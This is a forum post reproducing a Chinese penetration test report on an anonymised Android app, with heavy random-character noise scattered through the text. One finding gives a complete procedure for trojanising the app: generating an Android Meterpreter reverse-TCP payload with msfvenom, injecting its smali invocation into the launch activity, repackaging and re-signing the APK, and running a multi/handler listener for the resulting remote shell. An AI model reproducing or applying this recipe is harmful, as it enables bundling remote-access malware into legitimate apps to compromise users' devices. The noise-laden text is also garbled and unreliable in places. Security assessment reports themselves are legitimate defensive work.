' t, b B8 h( [+ |' D- W% k 5 l* p" C0 x8 v" B2 F, m

4 O$ [0 R+ E# ^2 d4 A 2 {4 J) Z/ R2 a( r 2 检测结果                    , n. d k% B, r1 t9 p+ J" W4 l7 v

6 ~- ^& v2 ]1 D) Y 4 s' L2 k8 K3 V" O1 Z/ n& s

9 G% p* [1 S7 M1 B, E5 H9 N * y3 J% G1 y# K0 }: F3 K3 i$ S+ Z' N 2.1 某某某 / E3 n/ n& h2 w9 e) z8 Q& k) Z 0 v3 S! s7 Q' n

" j7 I! t+ `$ } |" T7 V: I& @, t8 \; \ 2 ]0 N: _. D: H, U+ U

# f; [ X; K( ?9 e6 Y: q) C B0 r: m2 o) d/ F% G4 b: h 2.1.1检测目标 - [" v& ]1 w8 o2 w0 ` 7 _; n ^- |8 J, T

! V' M( Y% c. g m! ~. T; b8 C, q9 W4 h' F/ z5 i

4 Z* p0 q3 S/ J- N9 L$ f5 x+ K, r5 C5 t: u5 q. n- n% q# t) { 目标地址: 某某某某某某APP : e& }+ D& { N3 f1 y. R5 v9 ?& v$ e8 i) w

' i0 t/ Y/ X% u5 H7 `( ] @ ' W6 `, b d% I4 Q" B5 ?

6 R: h' g* ~3 v# w3 I 1 S; S2 o' c( m2 H# r 2.1.2检测结果 ) ]6 L& M/ E3 p9 P6 ]5 }) W) t6 m; f5 }4 [) c" ]

/ [ C2 W6 G# T2 n . C; l. @! I2 V o5 Y) h Z$ m

/ o1 \2 C( R; [" ^' `0 i: R/ o8 h: z4 P) Y% z3 D, [ 2.1.2.1 5 f) [. j" F" ~( R1 {. v; N5 Q( d 4 U6 N e" @4 R; r2 K; j1 r! K

( M& T- Q3 k2 Y/ W( _0 U6 V6 V1 D# I- x# ^& e6 }2 H8 h. X& y# u8 ?

8 i/ C. M7 U: V% |3 W* ~0 a/ U h & z6 a0 _; S; _3 g# t0 |! N 漏洞链接地址:某某某某某某APP 1 G) @5 z( C9 g& y- J* T5 o; Y: R 9 N! U) c- ]- y4 e2 V

1 X4 ], K4 q& D - B1 F0 O* f; R

1 I/ c$ Y/ w4 n, q9 h : j* X+ v0 V7 c/ ?   ( \5 r( G( K7 `4 E+ F : Q# M' \ E; N

' x1 y& c, i5 V; ^ # k8 R m( X2 i/ D* W+ O4 S7 }, p

; V+ w7 x: z; j8 c9 S: T# I 2 Z* c2 |. F/ ?: U+ q, K 漏洞分析及取证: 1 E2 a3 Y" B& b ) R" \9 x/ B4 T( y) c& g9 [) W

0 u& u8 M% s* j# e2 O" X7 o4 o0 q9 r' F4 {- f0 H8 i1 ~ X

# f4 n/ k) h( K 7 }# W' d$ d+ z, o: o* z) N5 _5 E% R                  通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: / }: |/ `9 H9 g+ s5 R" D0 O & \ L; Q5 S( D8 E7 q$ c

4 C6 {4 e% j- k' o: ]) y8 B' }, ]0 g* T6 M- R0 y% l* k/ x

# O9 x, A- a. R0 T3 j3 m( @: i1 r      . o i4 M, S' N6 c; J/ V ' p3 G' X6 \ p

& x2 }$ [- x: }9 q1 O( d1 C% _ 2 g, Z; M1 h8 m* n l

: d4 S6 q2 @& \5 t7 S4 J. N: z) Z2 O) E, |- h: S% |                       ; \0 S1 O# T" |' Q) H# g: C1 m: ]1 ~8 \; T& W

: H {! Q. o: ^# R' A : W; V/ }& q7 m( e* c/ m: l

V: T( N# Y4 \* M4 `. K( y4 z6 B' Y % a' D. D P, X- F) |) T+ G; L. d 9 G7 }" W! d, x) }& o: x4 Y7 ]- U! Y, l8 u

4 w6 t( r3 b0 ~7 G# R1 P* S1 ?3 S 9 H6 I% N- P/ A9 Y# c: y

. C6 z2 b% D5 [9 s: F- C8 v O6 K* G Y. H8 H 6 A+ M% _! }) y! |" U * M$ n3 Y5 A/ C4 o

0 \1 ?7 t3 |0 K + `6 r! c& y) @# T3 N7 u9 u. a

" [1 w! k$ H5 k; X) K; q, X/ b* s# Y) Z* c1 F 5 y3 G- M0 ]7 R: G4 L5 A8 L* S* l' C - ]/ W6 w7 e* C7 V% @+ {4 M

0 K- }8 Z8 r4 n) ?8 K 4 b7 N# C1 O( D5 u" j

1 r, C1 p% o2 m5 N: } 0 X) r* c% U* }7 v: f 漏洞危害:高 , c% Z: u( s% [! v : x; b' f, F( q W* n

" u \. x5 H3 s7 W9 r# [& `1 p2 Q( W: m5 ~$ b
! B. ^* ?* ]9 F) V! L " W! ^. P$ N* [% G3 r( i) D/ A 7 K7 d0 X5 f! T3 T/ M( b6 a: O3 O- `& ?2 a3 ~7 I5 E: h% ?( m$ a, m/ k4 `% t# q& E' H D- C6 O" h0 D- \7 b1 t- N3 |# k) B& I+ h9 K, j1 C, `+ ~+ R% M* ]5 b* i- X l% P2 T- t" M0 d" v I `; G( C# d. L, C( h N$ P& g1 ]# V7 P3 j% z" Y4 f# W: ?" l& d2 B& B$ ^- d3 z/ W& L( u1 j/ N' ]% T- t6 p) Z q- k3 x2 i0 A( E( z. b$ f' D5 h+ o; |! P* ]: r1 \6 u$ V9 P2 O2 ^% v3 _4 u1 C1 g: ?( e7 O9 T# N4 T4 C* y @/ ^% g" j4 `2 B0 Q, H. ]) a/ s" o& Z2 }& k5 g0 ]; R* U) G3 `# j0 Q" {$ w1 i- P7 k; A5 l O- L2 Z6 t* d/ H6 W& I9 {9 ^0 P8 F7 N+ X# F
: J1 C" O% F' h, S ]7 z4 H3 d5 S0 W5 D7 h/ C% h

7 P: ~! n# Y q* X& v. F 8 C \1 T: t" E1 v0 K/ ^6 B 严重程度 ' k/ | q+ W7 W3 S/ B $ i6 _* H- s) O# x; A3 A

. j( x0 G: L9 F : x4 b- @# m: i7 P/ o
8 H5 }6 y* ?) u7 h0 Z% { 8 g! b ?/ E" J4 M2 P* c/ F

% g% c% ]- J8 q6 P" Q 1 K: u- g% w2 ] ^, d) ] 高 / ?, q# \* ^ r9 `' l: }/ n( p # a( F4 n9 F4 U( l. o

/ w$ P, q( z8 ~+ d7 U$ B0 k$ H) N- ~+ B6 Q
& n5 A3 ~6 E/ p: R3 B2 Z 9 }) {+ ]# `# _, q" }

1 D9 J3 j" M% l$ P! r 9 x: @/ a/ B2 A7 ?0 ^ ■ * @( ^& E: l$ U3 j' i# d0 z 3 @3 E3 [; n* S% |0 s. n3 I$ D

) L* ^& |! \ h, g- O! j c* |& o6 d $ q2 m1 _+ {3 t2 H" ^1 _
1 B, W1 H6 d6 U( @ * Z: q. s! {1 M: K v

4 _8 o8 F/ J* Y ; b( O4 O9 y" T6 t 中 9 ^- `$ Y" V# `; U" q% o3 s0 Y5 e' Z- `! D

) L9 P6 ?! x2 L- G8 |7 U$ }( e 2 A; V8 o& h+ X* l* ]
8 c0 ]5 g9 D. K* T ' w9 R. u; V, Z* A

, S4 q5 D. C2 q# ~) z( h! j3 v % Y) x* p* _8 R/ A& x   . j& E) Z7 ^) A& P2 Y' u1 {, k+ @, o $ {: ~- j' o3 x5 q# R$ W2 g; M

5 T; B& m, a0 B) P0 y2 }+ y/ `9 w ) e7 X% _0 c. T u/ Q5 ]4 }# V
, A5 t' l+ ~- H: b9 M - @( O5 s2 y4 v5 O5 N

+ @# A2 r( k: ]$ j$ l' m( J0 @; X2 ] A1 @5 k6 Z3 g, q 低 ( V6 F, d g9 s; ^) d$ o; y& T6 v8 ]) s4 m2 y

# v6 Z C2 U) V" v( N1 n 2 L2 \' L# w5 p& g
. L( u3 O: U2 G' Z5 { y 8 h5 i0 o: ^' u2 f2 S2 D {) M3 M# S

b: b. t3 E! D3 _. X+ q * D2 L& l7 h6 Z7 i. u0 h   : n2 v* L# W" P% G% k6 [5 U / r6 k- F1 O) g3 n: Q. w0 Y& h

& `) O9 a9 o" k& L 4 w; T: x# h$ j+ \
$ Q, [: D0 @/ A2 u! L. e& I 1 ]. F1 y n/ _. `- d3 J. [
6 l7 H. U, b- \4 T5 w( [: Z, A1 Z& [2 N# X

7 F+ D! v0 y9 U% i7 ?( | " {4 b$ {( G P9 t   0 A) U. R/ h- Z& _( e( P% Q7 X R6 |! `$ `( O' J

% D, z# i& p. G& N4 E& U; i' B5 e) [( U

, d: I" {7 [5 J; U6 { # a* H2 J$ i! x+ Z6 a* E2 b7 | 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 3 b2 r! M. z y9 }1 `* W ( b4 G7 e, y( j$ Y" M) ?( B* O- L

3 A2 |9 I( T, P& T6 D/ G 6 p. C! P( O) f3 v9 ^, q$ G. c

0 t6 m2 |9 H" \) u+ m & J6 ?, v' [' b1 F           % [3 }( u* ~8 v8 b0 T5 o ( P6 m+ R# ^" J# Q

7 p: y# k4 N5 p3 |! F / D) t$ Y# e. g

9 {- j2 k# V( `4 Z4 S " N7 B. w* ?6 H. N2 h- {* E   + \) Q% l! m2 Z7 v( P+ _3 _ ' q# A* ^+ c: R* ~, q

& ?/ |# G- A( V8 T, P, L- t ) [0 O7 j8 O, s# `

' e! Q% s3 C$ C r/ t& l. m5 L3 Z: N( ?- t% A" Q. j" K/ F 2.1.2.2 + _5 P9 o& b }5 f6 F8 Y/ i4 ?* B + Y& x* R8 R0 k* V

6 o" k4 x; j& t! l7 u) ]' m5 } : {# V/ g2 Y+ n$ R

8 L' G: m$ }( B+ T8 ~" k$ P o+ m8 M 1 _. a- P E) i0 X. m. t5 Z9 m 漏洞链接地址:某某某某某某APP * }" U( M J5 i A4 e / D. r7 l& W* K3 W6 f

( J/ @. m; ^: V$ U/ D 2 u8 k4 {5 e( N) }/ F, p- z

k6 J3 Q4 H. b0 S ! B. H, T$ y5 P8 J 漏洞分析及取证: " y# }1 p$ w! o6 _/ @4 C/ i% r! o8 V; G

8 @: }% a1 l1 w8 ?7 _# | - r# A& { j5 p7 V

- A# [ p6 x6 E1 l [4 m 3 |2 |: U1 ^! Y1 t                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: , A" z% I' e" {: n+ }4 p' a7 |

6 S9 }$ i# z( l+ R& x " w% s, Z. ]3 w* |* S

6 x5 o- X1 ?0 d. B4 C* { @3 H; [3 @2 N+ R- F+ V7 c( p0 |3 ? 用Metasploit 生成木马 apk ) T/ F9 x7 a) N% F ; ]* K; j! H: k0 X/ A

# y" E' T4 i& h: N6 w; m" O 1 Z6 b+ m3 L+ U+ ]

' R1 T" Z/ V8 {, ~% r0 N1 @7 t 6 C/ K) ^8 t0 w msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk # T5 \4 x. f4 @ V. N, w $ |# }4 N4 |' ~$ R/ x

$ k9 N }+ V, Z# K1 ^; Y9 D $ ^7 l6 P- U h) G& x

/ v) B/ T2 x/ Y 2 @ a9 @! {2 O5 l! t 反编译目标apk和木马apk 4 T/ j" ~0 M' M$ ^# A, G 0 o' U* a* [7 a7 z! n) J7 L9 [6 J

8 E/ \8 o, @7 B J# v0 [* i5 A1 q$ c# ?

% E7 p5 @8 d. R* y3 w, j $ _- l! G. c Z5 _ apktool d target.apk
% A7 m( B; E# G ' W; k# y0 a0 V apktool d cockhorse.apk
% m: i7 ~6 ]' q( F! w R+ a2 k1 ?0 U1 q

5 T* T" [- L4 F 6 v; V7 f { q3 E+ g/ x( O

# c( V3 K5 K5 p; h u- c6 s- D+ m 木马 apk 注入目标 apk 8 t4 |, i: b i( k/ R- q4 K7 t# j+ K- e# T) V

5 E" l( s" ~1 Z1 q$ b; T' a$ N9 A1 _) j4 }6 z% b; y# j

1 ~/ R8 l' y T1 j 0 P1 {5 j9 t/ T' F 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
! o0 T# U: @; [6 H- K) |5 T) c( O. w/ b invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
( H$ a! ~0 W) @2 b4 H$ A ( I8 P. V0 I* q6 L; O

0 G6 s. f, Z0 R 7 O6 p/ A# ]& ~9 C

[) R4 G1 e. X# A 4 P& \; ~1 h0 |, z) p6 O w, t8 d 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 1 d2 a; V- }. L2 Z 4 h& s# U- ~0 T0 Y$ N4 j

* B' m. W( u6 q $ ?. T# h7 f3 H0 n

; f1 B3 h2 Q" a- `$ V3 k" Z$ _9 u& `. Z2 r+ {* }. l3 D 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 7 e/ L6 d1 U! A3 J 8 p. s8 G$ u- r* ~' h

9 B* [" O$ N4 z6 {( r7 x; T 7 J2 z' s: o, E4 K

; |% I. v2 M) F& p9 `/ \2 O c6 V/ Z) G 回编译生成最终 apk & C/ M# [/ ^4 W% ~9 a& \: ]+ ?. O0 b! [5 T4 W6 A

, Q, \$ H- a" c7 m9 I7 N4 Q! b6 { : h8 ~9 u6 C2 ~

9 B$ L! P+ E0 ~" K$ B N) \; T 4 ~0 a8 \. s, [) Y3 J7 F; c 重新打包 3 p& V" } Y, m/ E' }" C) Q' L1 o ; W5 O( N6 a' _4 J( b+ }2 R

* }: E6 }* x- w9 f! L* H3 }- e" K9 ~& U

. o* B, c" n3 \' u, _. J6 g 9 {1 F" _' y* { f% `+ Q2 Z apktool b -o repackage.apk target_app_floder 4 @& t3 ]+ @5 W8 D. b9 |7 }: S0 R! Y+ ?& B8 k3 m2 e

_6 ~9 a5 }8 ] . V7 _0 F2 y C, h2 Z s1 x/ b

6 y9 b" c; K6 U' m* I7 W ! b% k/ \2 \, X `4 B 创建签名文件,有的话可忽略此步骤 1 u! ~* b; T. g4 g/ E5 i 0 J3 A1 u5 g3 i, T5 c) Y5 o2 K

/ V) t! P2 w* N' ]1 u o0 @ n' J7 [" K1 T% [

+ A0 B% k+ F, ]1 m" q+ k* ~* s8 b; J! b" i, G) b( E& t5 _& ^& Z keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                # h! D0 U% ^5 ?9 n' C o9 i* X c$ x6 H # O p4 F. G2 \0 a. D# {0 H

, A1 c3 ]# Y6 r+ X1 s " k- Y, n1 t+ L

u: ]0 W7 q/ ?8 ` 7 N# l+ G4 T2 Y5 {$ T% i d 签名,以下任选其一 * b- b& ]4 i: D5 }# I% x j; ~" u% R' ?$ F, }) z w/ X" M7 R5 t! [. ^

# n* Y3 r5 b& F. t3 P8 y4 D$ n : {1 t+ |. M; T2 X% I+ |- k* ?

1 \4 ^8 }2 P* t6 } ( n2 D* R+ J4 B0 M) D# v jarsigner 方式 6 c. r- z W* `, h# f! I/ {5 @) f ( @ H6 Y3 C6 p2 n

! R, K+ X8 i* Q/ K% M0 |2 R $ f+ A2 h, z& @/ Y# d; p8 V

) B" n7 y- E5 q$ W# ]. G0 e8 H, }: U& V) ]' g5 B2 t" c' Y jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname / `9 Q5 C6 f& d3 i ; N6 c" g: x0 h" q+ o6 ~# @; h, g5 B) ^

% M6 a1 Q. Y5 |: b+ v4 w p3 Z) T/ [/ `1 Q% d" V* V

/ L3 f; ?8 n% ^: a+ H " |' W U b" ]1 @3 p apksigner 方式 2 a2 i( B6 d& ~/ B7 h [3 E0 k . X5 I8 v9 G: d/ j, |4 o! V8 U

9 A6 p9 p# |) E; X0 Q$ o 9 d! Z+ r1 {" ^

1 N' m# Q. X; x. M0 \% u, W% Q2 E apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 9 p* u- a8 }" ?- v! t$ W 2 I1 d/ L, v) o9 R5 i4 C

6 N: u' u/ \% J) g! r 8 o; S- `' L5 G4 Y6 N# ^3 k

2 y% m; J/ ?. r( _: X ; T; @2 c& I6 X! Q3 L 如需要禁用 v2签名 添加选项--v2-signing-enabled false ' v$ L2 f# ?% A ) a$ a2 K2 x) q

3 _- j, v7 R2 @ ; k& _) o# k- |. E8 D

6 k( f; w2 h% ^ ( y$ j2 m! m- N! P8 \& Q 验证,以下任选其一 ) h8 m2 `8 L. D: U( G, z3 i9 G9 C" _3 N+ D) y' }4 R

+ o8 D, b5 o9 L) W! F . v. f; L4 g8 S$ q; H

: m7 B/ C/ R) [4 t+ w% `, A6 X E / T% G4 f- Y, \9 F7 y jarsigner方式 5 V" T6 F2 N8 I" A 5 |3 B9 ^; \' `& u6 a; b

8 w1 p! J1 C$ U4 ? $ _0 D( }4 \' b- F) Y6 k

0 l( A4 v* _, z3 D2 F. Y5 ~% D1 a3 i# _0 c jarsigner -verify repackaged.apk 4 K+ ~* O" e+ f( i2 q 3 K0 v) _3 m ?

2 ^2 ^9 d& m( m/ z/ u. A o% ~, q" |" A" g0 }* k2 N) l

3 g( y) @3 s9 O, H- X$ B ' X+ _: k6 T* {# c5 X1 G apksigner 方式 6 d; t: a$ N) z$ z/ E- K 0 l& d( T' p7 G9 h& c

; n7 B ]. A# N6 c " D' E* \5 E% C8 }" r! R0 @( q3 z2 m

6 [& W. ^1 \( G+ T8 h 1 @/ L4 k; K. y# H apksigner verify -v --print-certs repackaged.apk 0 k! j: v3 j$ `! k 4 F! H5 D; t) G

0 M0 U/ T& F, |, y3 N) ~ + T) j, s& H9 d0 ]6 X2 y

6 X' \7 g& h* ^9 V1 H( I 7 [- V/ [3 a; b keytool方式 & _4 L$ m) w9 u6 ^8 j/ c `2 o% e/ m6 f/ A& J* ?6 a2 r

% N- b5 `/ n6 e # Y2 ^+ I6 E ~3 u8 M

. r9 n U! f4 T 3 f3 E; R. Y+ B keytool -printcert -jarfile repackaged.apk 4 U S8 j) Z( ]* x3 ^# M. E 1 k$ w( t# Z9 l# R- l' M7 s3 F5 q

& _$ J& r) T+ A# z5 ~3 B - d+ H( J2 o8 b

, ?0 G# a# [, H+ }. N 9 e; ?) `% T5 m8 m) [, Y 对齐 + @" J- \) w* f. c 7 S) R% ~* c" P" k9 v- M

! _. @' }+ O: k' F+ }+ O / V% p3 p: l+ j( N5 e R. J; i+ W

+ f! F. O+ T- W3 L! W7 ] ' p# l2 ?8 ~& s 字节对齐优化 . ?; @5 U' {/ D ( T+ y1 e% ~5 `( b

! g+ C+ a5 m) @7 X* \( r ! y7 y, W$ v( J9 D, Q, _( f& s5 \! O

C5 z$ i0 q7 P% |; M* F5 }; F: E Q4 S zipalign -v 4 repackaged.apk final.apk H- O5 f) U0 `5 {9 k- Z : w4 t, S1 X6 q( t

/ L3 g( r6 k, f0 t5 U( i% u+ s0 |7 t& u! i

/ ~4 L+ V, v7 p1 z! J. g& ` v * Y! {1 {1 R$ v- b: k7 t( M 检查是否对齐 ! z8 e+ J% I# U - r4 C% C6 }' S6 P W9 M* A! O

% K' E1 q( u# I$ g' }7 R q* P3 `8 K2 l: I2 v

+ L4 h/ ^/ `1 _* T: J i5 { * y6 r' W! z, F/ u zipalign -c -v 4 final.apk . Q8 H6 Y7 ?3 i P' k- m / }- y, G( P: {% I: T5 M1 c6 V

" D4 Y" I# B) l7 V1 G8 ]4 G4 R4 Q5 ]0 r8 Q6 }+ T

4 q" |5 n- }! ~) v & g* X9 a/ z1 Z5 M% \7 U! N2 y h 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 4 z/ e5 U2 `+ u; L$ O % ?# D9 W& u9 ^: t5 _8 B& x ^

/ ^- T1 w9 b7 A0 Q4 h- u0 _& Z4 v % l0 M: @. `1 N0 q

& z u6 G0 A; }5 e5 x9 K6 I m0 r# E# y' Q3 n& \2 o 启动Metasploit控制台,配置参数等待上线 6 i7 _$ _9 r2 g # g) ~4 y% T m" b2 W$ d

) F: l! k& [3 ~ 2 g2 M- \* U g! {

% _ R! d. r8 n% N- X' C : p$ L+ p/ h6 W$ D6 { 在终端依次输入如下命令 2 ]9 B& g! B$ N, \% }2 Q# h ) p6 t/ _# s& [7 S; @

" }+ M' |; E5 W 6 ^4 A" b8 Q8 v2 A/ G

9 ]6 q) H& Z$ Q0 h0 F# e& A0 W0 f$ w7 ^4 m( B4 [' I msfconsole : W/ s! q9 ~3 y9 B$ g1 \ 1 |1 e/ c( O% \- A9 c2 @9 F1 p

0 B! D4 r5 [- ^; X* b0 z% q$ r) y0 ]

& b8 s' j1 s2 N( }9 x' f' u : b% [3 i! t+ L* i( E& C3 f: N use exploit/multi/handler ) D: C0 P) s1 G. a& k; R* a, n; Y S

1 t9 G! O0 G2 w" b; a ' _& g0 n) K: N$ f0 r. n

. N1 i* y' x& l& w6 s3 i ( i {: E2 k( G: z set PAYLOAD android/meterpreter/reverse_tcp 3 G6 M$ A; ]6 J r) z) { , I; f) n Z @* q

/ ]- Q7 w' \; y1 f/ ? # i' q1 k) N& p8 ~, q. n5 k

$ A" U& @5 S/ M% f! b & \3 f/ Z3 r6 n7 o' q7 P+ \+ K! P' T/ U set LHOST 192.xxx.xx.xx 0 A5 R' r' c' n% |1 ^+ G" W9 N. W# H# C% Z

5 R0 X' n3 D' K( P1 P7 ^ 5 K, q, l' }; e* ~

3 M! ?) `4 r! F, s8 G 6 y* J# F3 ^, f* t/ V8 n2 ^4 n3 x set LPORT 4444 4 B+ z" t$ k f- R5 d Y8 Y" i! Y( P9 P) W

6 C) {) w, A/ n5 N. X - _& J# u+ N; F" C j6 a. m1 G& Q* m

( k- e8 G7 f2 S, V $ b! G, z; R2 ~9 [ exploit 4 s+ [$ B2 n, B! k8 g n% B5 z9 M6 R) m; x' r5 `

5 n% \6 M. A7 _2 t3 o$ p+ W - _6 N* G- G4 B" ^( ^. @

3 a$ o, T0 e# J& o* _7 d* E ' V- J. J; ]6 ~ 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               3 c! v1 t( u4 S/ T . z1 S4 F) u( }* r5 _

0 r) {- ? l) B# x6 s 5 U: V) F2 N) z0 m# X6 _% C- F f

* c# v3 P5 ?) ~4 x0 Y9 H, e8 h; R & z! a3 G- z% Z 漏洞危害:中 + W2 s1 y* j# y! }7 I7 Q5 W N) O3 O+ Q! {

* x* J2 G6 ]) ]+ J' Y 3 j" F6 o9 f" O8 n' k
( }, V- ^8 f7 b2 g8 y, ?6 S _6 f6 h5 s9 E. Q9 P0 I & h$ H4 ?* Y1 d. V9 d; ~ k3 B' x 3 n1 V$ V" K9 w* h, z; E' I9 d f/ } [9 H& c9 z; @) a; s, \' z- \$ w2 T% V7 [, d' r" \& g0 P6 f) x+ t; I( a: ^2 @7 R' v7 @! S' `' a `3 b# k: ]$ y6 e* `0 [2 T( a6 _- @1 j% \1 Q* f$ t/ P4 {- i9 _5 t8 Q& w7 V" v1 S! t! \4 j7 P; V) s4 K8 q7 O& Y4 M/ t( d) t9 R: {% `8 N1 A1 k P/ g. z F5 K. a' E) l! ~ {7 k9 T3 B! P+ E; h" h1 x7 ~( f! D, X) F U. N! C3 P, ]. ]9 G2 e6 V# P4 r: ?3 d' P9 I# X% f3 N5 W5 M. _! p4 y: o( W; c% j2 u9 m9 w0 s. }, \1 _8 I: C9 o2 B1 h! H3 \& A; o8 z* j3 h, L7 H/ g8 }2 m9 z" K! m+ p2 i& e0 v8 Y- R4 d6 Q- p4 k% J: T% g% }! K& z7 g n; E+ Z- ]2 M, r: v
b% o1 A# J% S) n4 i" y" r & q8 ]# G" w# H) z* l# A2 G1 w

( L. j9 f! [, ]9 ? : z- u( u2 s' q9 Y1 q8 z 严重程度 * z" ?3 b* q* b 2 q5 ?: ~4 i: G0 f! D

' H3 P3 b% i2 \ T4 y0 {! y ! k; I: Y9 n! H2 \+ o8 D
, A4 `8 k( l: E ; B' s* k9 R: a: y/ p/ l; h

( L+ I5 m5 M! u/ W 0 W1 d1 Z7 {' i: f5 Z8 C# C 高 8 k( M4 a% I- N' n7 G , {4 m) N4 F/ ]/ A% j F

C1 r& h4 q. I* o+ d* x7 [ / W( ^) B' T& l( _0 O8 h
, j5 O ^5 Y6 F# y: ~: q$ v0 U' \4 E. p; ]# I

3 O" L+ D9 F m9 Q - h1 j7 T1 C( [# H ■ 8 Q3 e g1 S& \( m, p; L% n' |: ~ # Y/ g7 ~( m: P; U6 _, q

/ {* N) l/ O+ @( ~* H- [# F% _. p2 l7 o1 Q) V" Q) B" @7 n
8 H" L, L" c2 Z* L d* n7 o" x . f- w5 q9 j0 W. O) q. ~8 Z

- A. b5 s" u% w% x8 i9 _& ^# L0 ?+ @7 D* G8 r 中 & s* p; @, T0 W3 M 7 O7 U1 ^8 x u& z) W* L! b

; S9 f5 N1 D3 Y' e 0 y% R1 Q; b! D- S: y" P }
1 N& e( V; e/ d3 l9 F; l 0 C4 V7 h6 D) |1 j' C5 [, q! Y 0 o/ i- Q! u: Y - e* X3 K& b% C* Q5 Q

d Z1 l" ? B1 \ ) B! f0 y4 s _3 {1 l, ^   $ s) [; i; m7 O; ?1 b 2 c/ B; Z8 Z) g) g4 w& j

$ x$ _4 }0 N1 R5 s* q% F' [ 4 [5 Z V" J. z& v+ K
7 U/ t ]' O7 e3 a 9 f4 F0 l9 A$ y' @

3 d: v% s3 V5 I: J$ k + Q8 f% `- D$ u: c; i7 ^' \- O 低 ! G" U# S, }3 X 9 v/ K6 U8 L7 @4 b- R

5 {6 Y1 Z+ h2 v! c& r5 ` & I6 t2 c0 n- b+ x* n* O
( u# w- ?8 s& w2 \. x 9 n w& X$ @/ K) u0 G6 x 9 [/ d/ o' {8 ^- f " n8 W+ {! n* j+ Z# q

) Z" N9 c4 f( y* Q6 D6 [ , c6 U( L* e J" N" ^   ) A j0 q4 j4 o. u ) m( z2 `$ Y; n; ]7 J! C: w7 O

* V3 A2 V4 e$ Y* k / |0 q% E3 D$ v% m
* h# r* S) S0 M# [+ r! ^+ a : L& ^* V/ |* Q' }0 H# Y! a
! }# x9 N$ v4 f2 F4 K% L ( q) v0 ^4 N" K O

5 Q3 q* _* f) e8 |2 F' N4 V" B 9 h6 {& J1 r9 T" i& a5 R5 j   & T: j) _# g; P# [ W3 C v + G+ {! @' r- t9 {- C# n& H& m

- G; K, r- p6 n4 v8 j3 z% o) L5 M9 [0 w# B' ?5 J8 E+ M

2 R+ z8 g" u1 L. ~ % J6 N+ m! ]8 l7 J+ e7 I 修复方法: ! ?- R1 a" x" T/ _2 Z1 V2 b! d) t& ^5 `7 r4 h: R

. M" d( P2 D6 T+ Q; C 5 J3 p3 c( n& M8 K

8 u' m6 I/ l" x / q0 c% v! p1 g; R- y               1.在 APP 启动时应做签名校验防止二次打包。
' g. Y" _6 ?, H/ w2 m. D' A $ Z: ]+ ^: h$ B8 { 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 9 _( n- x4 a5 C+ M1 `: i 4 @/ B8 Q3 g( m. g4 v: J/ {6 r

u2 G3 R' A: `+ s* F2 M! F9 Z% Y! C" J* y1 X$ Q& |; b 4 J# Q; A* A6 t) t5 W5 b5 e " i* K) W7 h- w+ H a+ d9 q

9 n$ `* j H4 i8 |% h 9 e0 I/ G% o' Y; Q! a0 i( C2 v   3 } D% V7 P6 H+ u7 q 3 E2 I0 ^$ A" }' n" Y5 Q

; S# Z6 u/ C2 O: F4 Q ' ^3 x, D% q9 [ + I8 r8 J1 @* C5 B* I, Q9 S 7 U$ j" \. p5 i& a

8 W+ b; u4 [8 W1 z; D! ^6 o! a " J& B! }: o4 L A+ O5 I! c
7 o( a$ c0 k6 k* I+ m 7 F* ~" C- V& [

/ _/ Y- k. {- I- I 3 S" w9 o. \2 d9 D8 b& {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表